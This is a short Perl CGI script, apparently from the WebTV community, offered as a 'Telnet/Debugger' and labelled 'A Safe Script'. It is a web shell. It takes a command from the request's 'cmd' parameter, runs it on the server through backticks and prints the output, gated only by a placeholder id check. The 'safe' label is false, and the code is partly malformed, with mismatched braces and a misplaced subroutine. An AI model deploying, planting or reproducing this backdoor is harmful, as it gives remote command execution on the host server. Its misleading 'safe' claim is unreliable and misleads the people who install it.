#!/usr/local/bin/perl -w
#######################
## Telnet/Debugger ##
## A Safe Script ##
## x Limdog ##
## For The Webtv ##
## Community ##
## limdog@webtv.net ##
#######################
use CGI;
&parse_form;
$q = new CGI;
$cmd = $q->param('cmd');
use POSIX;
$whereami = POSIX::getcwd();
$server = "Server : $ENV{'SERVER_NAME'}";
$dir = "Directory : $whereami";
$cmd = $input{'cmd'};
use CGI qw(param);
$id = param("id");
$idform = "
\n";
## Put your box id number here
## (&Trick &wtv-ssn;) So
## only users on your box can use
## this script!
if ($id eq "PutYourBoxIdHere"){
if ($cmd ne ""){
$_ = $cmd;
s/(.)*=//;
s/\+/ /g;
s/%(..)/pack("c",hex($1))/ge;
$response = `$cmd 2>&1`;
print("
>$cmd\n\n$response
\n");
}
print("\n");
sub parse_form{ read(STDIN, $buffer,
$ENV{'CONTENT_LENGTH'});
if (length($buffer) < 5){
$buffer = $ENV{QUERY_STRING};
}
@pairs=split(/&/,$buffer);
foreach $pair(@pairs) {
($name, $value)=split(/=/,$pair);
$value =~ tr/+/ /;
$value =~
s/%([a-fA-F0-9][A-F0-9])/pack("C",hex($1))/eg
;
if($input{$name} eq ""){
$input{$name} = $value;
push (@fields,$name);
}
else{
$input{$name} = $input{$name}."".$value;
}
}
}
}
#End